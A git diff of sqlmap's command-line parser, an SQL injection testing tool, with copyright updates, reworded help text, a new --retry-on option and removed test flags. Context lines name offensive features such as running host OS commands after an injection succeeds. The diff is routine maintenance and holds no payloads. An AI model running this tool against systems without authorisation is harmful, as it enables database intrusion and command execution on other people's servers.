Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -193,7 +193,7 @@ def cmdLineParser(argv=None):
|
|||||||
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
|
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
|
||||||
|
|
||||||
request.add_argument("--auth-type", dest="authType",
|
request.add_argument("--auth-type", dest="authType",
|
||||||
help="HTTP authentication type (Basic, Digest, NTLM or PKI)")
|
help="HTTP authentication type (Basic, Digest, Bearer, ...)")
|
||||||
|
|
||||||
request.add_argument("--auth-cred", dest="authCred",
|
request.add_argument("--auth-cred", dest="authCred",
|
||||||
help="HTTP authentication credentials (name:password)")
|
help="HTTP authentication credentials (name:password)")
|
||||||
@@ -246,6 +246,9 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_argument("--retries", dest="retries", type=int,
|
request.add_argument("--retries", dest="retries", type=int,
|
||||||
help="Retries when the connection timeouts (default %d)" % defaults.retries)
|
help="Retries when the connection timeouts (default %d)" % defaults.retries)
|
||||||
|
|
||||||
|
request.add_argument("--retry-on", dest="retryOn",
|
||||||
|
help="Retry request on regexp matching content (e.g. \"drop\")")
|
||||||
|
|
||||||
request.add_argument("--randomize", dest="rParam",
|
request.add_argument("--randomize", dest="rParam",
|
||||||
help="Randomly change value for given parameter(s)")
|
help="Randomly change value for given parameter(s)")
|
||||||
|
|
||||||
@@ -704,7 +707,7 @@ def cmdLineParser(argv=None):
|
|||||||
help="Regexp for filtering targets")
|
help="Regexp for filtering targets")
|
||||||
|
|
||||||
general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true",
|
general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true",
|
||||||
help="Skip heuristic detection of SQLi/XSS/FI vulnerabilities")
|
help="Skip heuristic detection of vulnerabilities")
|
||||||
|
|
||||||
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
|
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
|
||||||
help="Skip heuristic detection of WAF/IPS protection")
|
help="Skip heuristic detection of WAF/IPS protection")
|
||||||
@@ -731,7 +734,7 @@ def cmdLineParser(argv=None):
|
|||||||
help="Run host OS command(s) when SQL injection is found")
|
help="Run host OS command(s) when SQL injection is found")
|
||||||
|
|
||||||
miscellaneous.add_argument("--beep", dest="beep", action="store_true",
|
miscellaneous.add_argument("--beep", dest="beep", action="store_true",
|
||||||
help="Beep on question and/or when SQLi/XSS/FI is found")
|
help="Beep on question and/or when vulnerability is found")
|
||||||
|
|
||||||
miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true",
|
miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true",
|
||||||
help="Check for missing (optional) sqlmap dependencies")
|
help="Check for missing (optional) sqlmap dependencies")
|
||||||
@@ -812,6 +815,9 @@ def cmdLineParser(argv=None):
|
|||||||
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
|
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
|
parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true",
|
||||||
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
|
parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
@@ -824,12 +830,6 @@ def cmdLineParser(argv=None):
|
|||||||
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--bed-test", dest="bedTest", action="store_true",
|
|
||||||
help=SUPPRESS)
|
|
||||||
|
|
||||||
parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
|
|
||||||
help=SUPPRESS)
|
|
||||||
|
|
||||||
# API options
|
# API options
|
||||||
parser.add_argument("--api", dest="api", action="store_true",
|
parser.add_argument("--api", dest="api", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
@@ -979,6 +979,8 @@ def cmdLineParser(argv=None):
|
|||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i].startswith("--data-raw"):
|
elif argv[i].startswith("--data-raw"):
|
||||||
argv[i] = argv[i].replace("--data-raw", "--data", 1)
|
argv[i] = argv[i].replace("--data-raw", "--data", 1)
|
||||||
|
elif argv[i].startswith("--auth-creds"):
|
||||||
|
argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1)
|
||||||
elif argv[i].startswith("--drop-cookie"):
|
elif argv[i].startswith("--drop-cookie"):
|
||||||
argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1)
|
argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1)
|
||||||
elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")):
|
elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")):
|
||||||
@@ -1061,12 +1063,12 @@ def cmdLineParser(argv=None):
|
|||||||
if args.dummy:
|
if args.dummy:
|
||||||
args.url = args.url or DUMMY_URL
|
args.url = args.url or DUMMY_URL
|
||||||
|
|
||||||
if hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno()) and '-' not in sys.argv:
|
if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ)):
|
||||||
args.stdinPipe = iter(sys.stdin.readline, None)
|
args.stdinPipe = iter(sys.stdin.readline, None)
|
||||||
else:
|
else:
|
||||||
args.stdinPipe = None
|
args.stdinPipe = None
|
||||||
|
|
||||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
|
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
|
||||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). "
|
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). "
|
||||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user